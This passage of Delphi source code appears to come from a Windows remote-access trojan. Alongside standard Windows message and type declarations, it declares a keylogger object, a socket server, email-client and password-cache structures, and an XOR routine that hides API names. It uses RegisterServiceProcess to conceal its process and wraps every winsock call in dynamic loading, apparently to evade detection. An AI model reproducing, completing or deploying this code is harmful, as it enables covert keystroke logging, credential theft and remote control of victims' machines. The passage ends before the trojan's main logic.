    IDItem: Word;
    MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED,
                      MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR,
                      MF_SYSMENU }
    Menu: HMENU;
    Result: Longint;
  end;

  TWMMouseActivate = record
    Msg: Cardinal;
    TopLevel: HWND;
    HitTestCode: Word;
    MouseMsg: Word;
    Result: Longint;
  end;

  TWMMouseMove = TWMMouse;

  TWMMove = record
    Msg: Cardinal;
    Unused: Integer;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMNCActivate = record
    Msg: Cardinal;
    Active: BOOL;
    Unused: Longint;
    Result: Longint;
  end;

  TWMNCCalcSize = record
    Msg: Cardinal;
    CalcValidRects: BOOL;
    CalcSize_Params: PNCCalcSizeParams;
    Result: Longint;
  end;

  TWMNCCreate = record
    Msg: Cardinal;
    Unused: Integer;
    CreateStruct: PCreateStruct;
    Result: Longint;
  end;

  TWMNCDestroy = TWMNoParams;

  TWMNCHitTest = record
    Msg: Cardinal;
    Unused: Longint;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMNCHitMessage = record
    Msg: Cardinal;
    HitTest: Longint;
    XCursor: Smallint;
    YCursor: Smallint;
    Result: Longint;
  end;

  TWMNCLButtonDblClk = TWMNCHitMessage;
  TWMNCLButtonDown   = TWMNCHitMessage;
  TWMNCLButtonUp     = TWMNCHitMessage;
  TWMNCMButtonDblClk = TWMNCHitMessage;
  TWMNCMButtonDown   = TWMNCHitMessage;
  TWMNCMButtonUp     = TWMNCHitMessage;
  TWMNCMouseMove     = TWMNCHitMessage;

  TWMNCPaint = TWMNoParams;

  TWMNCRButtonDblClk = TWMNCHitMessage;
  TWMNCRButtonDown   = TWMNCHitMessage;
  TWMNCRButtonUp     = TWMNCHitMessage;

  TWMNextDlgCtl = record
    Msg: Cardinal;
    CtlFocus: Longint;
    Handle: WordBool;
    Unused: Word;
    Result: Longint;
  end;

  TWMNotify = record
    Msg: Cardinal;
    IDCtrl: Longint;
    NMHdr: PNMHdr;
    Result: Longint;
  end;

  TWMNotifyFormat = record
    Msg: Cardinal;
    From: HWND;
    Command: Longint;
    Result: Longint;
  end;

  TWMPaint = record
    Msg: Cardinal;
    DC: HDC;
    Unused: Longint;
    Result: Longint;
  end;

  TWMPaintClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    PaintStruct: THandle;
    Result: Longint;
  end;

  TWMPaintIcon = TWMNoParams;

  TWMPaletteChanged = record
    Msg: Cardinal;
    PalChg: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMPaletteIsChanging = record
    Msg: Cardinal;
    Realize: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMParentNotify = record
    Msg: Cardinal;
    case Event: Word of
      WM_CREATE, WM_DESTROY: (
        ChildID: Word;
        ChildWnd: HWnd);
      WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: (
        Value: Word;
        XPos: Smallint;
        YPos: Smallint);
      0: (
        Value1: Word;
        Value2: Longint;
        Result: Longint);
  end;

  TWMPaste = TWMNoParams;

  TWMPower = record
    Msg: Cardinal;
    PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME,
                         PWR_CRITICALRESUME }
    Unused: Longint;
    Result: Longint;
  end;

  TWMQueryDragIcon = TWMNoParams;

  TWMQueryEndSession = record
    Msg: Cardinal;
    Source: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMQueryNewPalette = TWMNoParams;
  TWMQueryOpen = TWMNoParams;
  TWMQueueSync = TWMNoParams;

  TWMQuit = record
    Msg: Cardinal;
    ExitCode: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMRButtonDblClk = TWMMouse;
  TWMRButtonDown = TWMMouse;
  TWMRButtonUp = TWMMouse;

  TWMRenderAllFormats = TWMNoParams;

  TWMRenderFormat = record
    Msg: Cardinal;
    Format: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetCursor = record
    Msg: Cardinal;
    CursorWnd: HWND;
    HitTest: Word;
    MouseMsg: Word;
    Result: Longint;
  end;

  TWMSetFocus = record
    Msg: Cardinal;
    FocusedWnd: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetFont = record
    Msg: Cardinal;
    Font: HFONT;
    Redraw: WordBool;
    Unused: Word;
    Result: Longint;
  end;

  TWMSetIcon = record
    Msg: Cardinal;
    BigIcon: Longbool;
    Icon: HICON;
    Result: Longint;
  end;

  TWMSetRedraw = record
    Msg: Cardinal;
    Redraw: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMSetText = record
    Msg: Cardinal;
    Unused: Longint;
    Text: PChar;
    Result: Longint;
  end;

  TWMShowWindow = record
    Msg: Cardinal;
    Show: BOOL;
    Status: Longint;
    Result: Longint;
  end;

  TWMSize = record
    Msg: Cardinal;
    SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED,
                         SIZE_MAXHIDE, SIZE_MAXSHOW }
    Width: Word;
    Height: Word;
    Result: Longint;
  end;

  TWMSizeClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    RC: THandle;
    Result: Longint;
  end;

  TWMSpoolerStatus = record
    Msg: Cardinal;
    JobStatus: Longint;
    JobsLeft: Word;
    Unused: Word;
    Result: Longint;
  end;

  TWMStyleChange = record
    Msg: Cardinal;
    StyleType: Longint;
    StyleStruct: PStyleStruct;
    Result: Longint;
  end;

  TWMStyleChanged = TWMStyleChange;
  TWMStyleChanging = TWMStyleChange;

  TWMSysChar = TWMKey;
  TWMSysColorChange = TWMNoParams;

  TWMSysDeadChar = record
    Msg: Cardinal;
    CharCode: Word;
    Unused: Word;
    KeyData: Longint;
    Result: Longint;
  end;

  TWMSysKeyDown = TWMKey;
  TWMSysKeyUp = TWMKey;

  TWMSystemError = record
    Msg: Cardinal;
    ErrSpec: Word;
    Unused: Longint;
    Result: Longint;
  end;

  TWMTimeChange = TWMNoParams;

  TWMTimer = record
    Msg: Cardinal;
    TimerID: Longint;
    TimerProc: TFarProc;
    Result: Longint;
  end;

  TWMUndo = TWMNoParams;

  TWMVKeyToItem = TWMCharToItem;

  TWMVScroll = TWMScroll;

  TWMVScrollClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    ScollCode: Word;
    ThumbPos: Word;
    Result: Longint;
  end;

  TWMWindowPosChanged = TWMWindowPosMsg;
  TWMWindowPosChanging = TWMWindowPosMsg;

  TWMWinIniChange = record
    Msg: Cardinal;
    Unused: Integer;
    Section: PChar;
    Result: Longint;
  end;

  TWMHelp = record
    Msg: Cardinal;
    Unused: Integer;
    HelpInfo: PHelpInfo;
    Result: Longint;
  end;

  TWMDisplayChange = record
    Msg: Cardinal;
    BitsPerPixel: Integer;
    Width: Word;
    Height: Word;
  end;

// sysutils type
type
  WordRec = packed record
    Lo, Hi: Byte;
  end;

  LongRec = packed record
    Lo, Hi: Word;
  end;

  TMethod = record
    Code, Data: Pointer;
  end;

  PByteArray = ^TByteArray;
  TByteArray = array[0..32767] of Byte;

  PWordArray = ^TWordArray;
  TWordArray = array[0..16383] of Word;

  TProcedure = procedure;

  TFileName = string;

  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
    FindHandle: THandle;
    FindData: TWin32FindData;
  end;
  TFileRec = record
    Handle: Integer;
    Mode: Integer;
    RecSize: Cardinal;
    Private: array[1..28] of Byte;
    UserData: array[1..32] of Byte;
    Name: array[0..259] of Char;
  end;

  PTextBuf = ^TTextBuf;
  TTextBuf = array[0..127] of Char;
  TTextRec = record
    Handle: Integer;
    Mode: Integer;
    BufSize: Cardinal;
    BufPos: Cardinal;
    BufEnd: Cardinal;
    BufPtr: PChar;
    OpenFunc: Pointer;
    InOutFunc: Pointer;
    FlushFunc: Pointer;
    CloseFunc: Pointer;
    UserData: array[1..32] of Byte;
    Name: array[0..259] of Char;
    Buffer: TTextBuf;
  end;

  TFloatValue = (fvExtended, fvCurrency);

  TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency);

  TFloatRec = packed record
    Exponent: Smallint;
    Negative: Boolean;
    Digits: array[0..20] of Char;
  end;

  TTimeStamp = record
    Time: Integer;      { Number of milliseconds since midnight }
    Date: Integer;      { One plus number of days since 1/1/0003 }
  end;

  TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);

  TSysLocale = packed record
    DefaultLCID: LCID;
    PriLangID: LANGID;
    SubLangID: LANGID;
    FarEast: Boolean;
  end;


// password connection
type
  TPasswordCacheEntry = packed record
   cbEntry    : word;   // size of this entry, in bytes
   cbResource : word;   // size of resource name, in bytes
   cbPassword : word;   // size of password, in bytes
   iEntry     : byte;   // entry index
   nType      : byte;   // type of entry
  abResource : array [0..$FFFFFFF] of char;
  end;
  TPPasswordCacheEntry = ^TPasswordCacheEntry;

// registry type
type
  TRegKeyInfo = record
    NumSubKeys: Integer;
    MaxSubKeyLen: Integer;
    NumValues: Integer;
    MaxValueLen: Integer;
    MaxDataLen: Integer;
    FileTime: TFileTime;
  end;

  TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);

  TRegDataInfo = record
    RegData: TRegDataType;
    DataSize: Integer;
  end;

 TRegistry = class(TObject)
 private
  FCurrentKey: HKEY;
  FRootKey: HKEY;
  FLazyWrite: Boolean;
  FCurrentPath: string;
  FCloseRootKey: Boolean;
 procedure SetRootKey(Value: HKEY);
 function OpenKey(const Key: string; CanCreate: Boolean): Boolean;
protected
 function GetBaseKey(Relative: Boolean): HKey;
 procedure ChangeKey(Value: HKey; const Path: string);
 procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType);
 function GetData(const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;

public
 constructor Create;
 destructor Destroy; override;
 procedure WriteString(const Name, Value: string);
 function ReadString(const Name: string): string;
 procedure CloseKey;
 function GetDataSize(const ValueName: string): Integer;
 function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;

 property CurrentKey : HKEY read FCurrentKey;
 property RootKey: HKEY read FRootKey write SetRootKey;
 property CurrentPath: string read FCurrentPath;
 property LazyWrite: Boolean read FLazyWrite write FLazyWrite;
end;

//=============================================================================THE_SOCKET;
//=============================================================================THE_SOCKET;
//Socket_Object_server
 TSock = class(TObject)
  procedure WriteString(wParam:word;Buff:PChar);
  function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt;
  procedure OnServerAccept(wParam,lParam:longInt);
  procedure OnServerClose(wParam,lParam:longInt);
  procedure OnServerRead(wParam,lParam:longInt);
 private
 public
 end;

//Key_logger_object
Type
  TLog = class(TObject)
    procedure LogCreate;
    procedure LogDestroy;
  private
    procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT;
  public
  end;

//============== all var
var
  //sysutils var
  SysLocale: TSysLocale;
  LeadBytes: set of Char = [];

  Win32Platform: Integer;

  //MainVariables
  wClass:      TWndClass;         // Class struct for main window
  hInst,                          // Handle of program instance
  Handle:      Integer;           // Handle of main window
  Msg2:        TMSG;              // Message struct
  //Msg:         TMSG;

  //Socket
  Server:      TSocket;
  WSD:         TWSAData;
  Addr:        TSockAddrIn;       // Address for connect.
  Port:        Integer;
  //ReadBuff:    TBuffer;
  yyyy,mm,dd,h,m,ss,CountRB: Word;
  result,nukemsg,nukemsg2,s,driv: string;
  d:integer;
  // si,i:integer; //udp
  j:byte;
  z:longint; //ip

  //Registry
  Registre: TRegistry;

  //other
  klasse: array [0..255] of char;
  Timeout: integer;
  t:textfile;
//  classe: array [0..255] of char;
//  counter :integer;

  //thread
  Sock:TSock;
  KLog: Tlog;
    eudora:string;
    outlook:string;
    ttt:textfile;

  h_SOCK_DLL           :HModule;

  ThreadHdle :THandle;
  ThreadID   :Integer;
  ExitCode   :Integer;

  ThreadHdle2 :THandle;
  ThreadID2   :Integer;
  ExitCode2   :Integer;

  ThreadHdle3:THandle;
  ThreadID3  :Integer;
  ExitCode3  :Integer;


//===Dir
function systemdir:string;
var d:integer;
begin
 setlength(result,500);
 d:=getsystemdirectory(pchar(result),500);
 setlength(result,d);
end;

function windowsdir:string;
var d:integer;
begin
 setlength(result,500);
 d:=getwindowsdirectory(pchar(result),500);
 setlength(result,d);
end;

Function Crypt(S : String) : String;
  Var
    i : Byte;
  begin
    For i := 1 to Length(S) Do
      S[i] := Char(ord(S[i]) xor i);
    Crypt := S;
  end;
//==executeAPI
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA';
//function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
function RegisterInService:boolean;
type
  TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean;  StdCall;
var
  h_KERNEL_DLL           :HModule;
  RegisterServiceProcess :TRegisterServiceProcess;
begin
  Result := False;
  h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); 
  if h_KERNEL_DLL <> Null then
    begin
      RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess

      if @RegisterServiceProcess <> Nil then
        Result := RegisterServiceProcess(GetCurrentProcessID, True);
      FreeLibrary(h_KERNEL_DLL);
    end;
end;

//=== winsock function
//function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept';
function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
Type
  TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('accept'));
      if @LListen <> Nil then
        Result := LListen(s, addr,addrlen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind';
function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('bind'));
      if @LListen <> Nil then
        Result := LListen(s, addr,namelen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket';
function closesocket(s: TSocket): Integer; stdcall;
Type
  TListen = function(s: TSocket): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket'));
      if @LListen <> Nil then
        Result := LListen(s);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect';
function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('connect'));
      if @LListen <> Nil then
        Result := LListen(s,name,namelen);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername';
function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname';
function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt';
//function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl';
function htonl(hostlong: u_long): u_long; stdcall;
Type
  TListen = function(hostlong: u_long): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl'));
      if @LListen <> Nil then
        Result := LListen(hostlong);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons';
function htons(hostshort: u_short): u_short; stdcall;
Type
  TListen = function(hostshort: u_short): u_short; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('htons'));
      if @LListen <> Nil then
        Result := LListen(hostshort);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;}  { TInAddr }
function inet_addr(cp: PChar): u_long; stdcall;
Type
  TListen = function(cp: PChar): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr'));
      if @LListen <> Nil then
        Result := LListen(cp);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa';
function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket';
//function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen';
function listen(s: TSocket; backlog: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; backlog: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('listen'));
      if @LListen <> Nil then
        Result := LListen(s, backlog);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl';
function ntohl(netlong: u_long): u_long; stdcall;
Type
  TListen = function(netlong: u_long): u_long; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl'));
      if @LListen <> Nil then
        Result := LListen(netlong);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs';
//function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv';
function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('recv'));
      if @LListen <> Nil then
        Result := LListen(s,buf,len,flags);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function recvfrom(s: TSocket; var Buf; len, flags: Integer;
  var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom';
function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet;
  timeout: PTimeVal): Longint; stdcall; external winsocket name 'select';
//function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send';
function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
Type
  TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('send'));
      if @LListen <> Nil then
        Result := LListen(s,buf,len,flags);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
  tolen: Integer): Integer; stdcall; external winsocket name 'sendto';
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
  optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt';
function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown';
//function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket';
function socket(af, struct, protocol: Integer): TSocket; stdcall;
Type
  TListen = function(af, struct, protocol: Integer): TSocket; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('socket'));
      if @LListen <> Nil then
        Result := LListen(af,struct,protocol);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr';
//function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname';
function gethostbyname(name: PChar): PHostEnt; stdcall;
Type
  TListen = function(name: PChar): PHostEnt; stdcall;
var
  LListen :TListen;
begin
  Result := nil;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname'));
      if @LListen <> Nil then
        Result := LListen(name);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname';
function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber';
function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname';
function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport';
//function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname';
function gethostname(name: PChar; len: Integer): Integer; stdcall;
Type
  TListen = function(name: PChar; len: Integer): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname'));
      if @LListen <> Nil then
        Result := LListen(name,len);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect';
function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall;
Type
  TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAAsyncSelect'));
      if @LListen <> Nil then
        Result := LListen(s,HWindow,wMsg,lEvent);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function WSARecvEx(s: TSocket; var buf; len: Integer; var flags: Integer): Integer; stdcall; external winsocket name 'WSARecvEx';
function WSAAsyncGetHostByAddr(HWindow: HWND; wMsg: u_int; addr: PChar;
  len, struct: Integer; buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByAddr';
function WSAAsyncGetHostByName(HWindow: HWND; wMsg: u_int;
  name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetHostByName';
function WSAAsyncGetProtoByNumber(HWindow: HWND; wMsg: u_int; number: Integer;
  buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByNumber';
function WSAAsyncGetProtoByName(HWindow: HWND; wMsg: u_int;
  name, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetProtoByName';
function WSAAsyncGetServByPort( HWindow: HWND; wMsg, port: u_int;
  proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByPort';
function WSAAsyncGetServByName(HWindow: HWND; wMsg: u_int;
  name, proto, buf: PChar; buflen: Integer): THandle; stdcall; external winsocket name 'WSAAsyncGetServByName';
function WSACancelAsyncRequest(hAsyncTaskHandle: THandle): Integer; stdcall; external winsocket name 'WSACancelAsyncRequest';
function WSASetBlockingHook(lpBlockFunc: TFarProc): TFarProc; stdcall; external winsocket name 'WSASetBlockingHook';
function WSAUnhookBlockingHook: Integer; stdcall; external winsocket name 'WSAUnhookBlockingHook';
//function WSAGetLastError: Integer; stdcall; external winsocket name 'WSAGetLastError';
function WSAGetLastError: Integer; stdcall;
type
  TListen = function: Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAGetLastError'));
      if @LListen <> Nil then
        Result := LListen;
      FreeLibrary(h_SOCK_DLL);
    end;
end;
procedure WSASetLastError; stdcall; external winsocket name 'WSASetLastError';
function WSACancelBlockingCall: Integer; stdcall; external winsocket name 'WSACancelBlockingCall';
function WSAIsBlocking: BOOL; stdcall; external winsocket name 'WSAIsBlocking';
//function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall; external winsocket name 'WSAStartup';
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
type
  TListen = function(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSAStartup'));
      if @LListen <> Nil then
        Result := LListen(wVersionRequired, WSData);
      FreeLibrary(h_SOCK_DLL);
    end;
end;
//function WSACleanup: Integer; stdcall; external winsocket name 'WSACleanup';
function WSACleanup: Integer; stdcall;
type
  TListen = function: Integer; stdcall;
var
  LListen :TListen;
begin
  Result := 0;
  h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket)));
  if h_SOCK_DLL <> Null then
    begin
      LListen := GetProcAddress(h_SOCK_DLL, PChar('WSACleanup'));
      if @LListen <> Nil then
        Result := LListen;
      FreeLibrary(h_SOCK_DLL);
    end;
end;
function __WSAFDIsSet(s: TSOcket; var FDSet: TFDSet): Bool; stdcall; external winsocket name '__WSAFDIsSet';

function TransmitFile(hSocket: TSocket; hFile: THandle; nNumberOfBytesToWrite: DWORD;
  nNumberOfBytesPerSend: DWORD; lpOverlapped: POverlapped;
  lpTransmitBuffers: PTransmitFileBuffers; dwReserved: DWORD): BOOL; stdcall; external winsocket name 'TransmitFile';
function AcceptEx(sListenSocket, sAcceptSocket: TSocket;
  lpOutputBuffer: Pointer; dwReceiveDataLength, dwLocalAddressLength,
  dwRemoteAddressLength: DWORD; var lpdwBytesReceived: DWORD;
  lpOverlapped: POverlapped): BOOL; stdcall; external winsocket name 'AcceptEx';
procedure GetAcceptExSockaddrs(lpOutputBuffer: Pointer;
  dwReceiveDataLength, dwLocalAddressLength, dwRemoteAddressLength: DWORD;
  var LocalSockaddr: TSockAddr; var LocalSockaddrLength: Integer;
  var RemoteSockaddr: TSockAddr; var RemoteSockaddrLength: Integer); stdcall; external winsocket name 'GetAcceptExSockaddrs';

function WSAMakeSyncReply(Buflen, Error: Word): Longint;
begin
  WSAMakeSyncReply:= MakeLong(Buflen, Error);
end;

function WSAMakeSelectReply(Event, Error: Word): Longint;
begin
  WSAMakeSelectReply:= MakeLong(Event, Error);
end;

function WSAGetAsyncBuflen(Param: Longint): Word;
begin
  WSAGetAsyncBuflen:= LOWORD(Param);
end;

function WSAGetAsyncError(Param: Longint): Word;
begin
  WSAGetAsyncError:= HIWORD(Param);
end;

function WSAGetSelectEvent(Param: Longint): Word;
begin
  WSAGetSelectEvent:= LOWORD(Param);
end;

function WSAGetSelectError(Param: Longint): Word;
begin
  WSAGetSelectError:= HIWORD(Param);
end;

procedure FD_CLR(Socket: TSocket; var FDSet: TFDSet);
var
  I: Integer;
begin
  I := 0;
  while I < FDSet.fd_count do
  begin
    if FDSet.fd_array[I] = Socket then
    begin
      while I < FDSet.fd_count - 1 do
      begin
        FDSet.fd_array[I] := FDSet.fd_array[I + 1];
        Inc(I);
      end;
      Dec(FDSet.fd_count);
      Break;
    end;
    Inc(I);
  end;
end;

function FD_ISSET(Socket: TSocket; var FDSet: TFDSet): Boolean;
begin
  Result := __WSAFDIsSet(Socket, FDSet);
end;

procedure FD_SET(Socket: TSocket; var FDSet: TFDSet);
begin
  if FDSet.fd_count < FD_SETSIZE then
  begin
    FDSet.fd_array[FDSet.fd_count] := Socket;
    Inc(FDSet.fd_count);
  end;
end;

procedure FD_ZERO(var FDSet: TFDSet);
begin
  FDSet.fd_count := 0;
end;


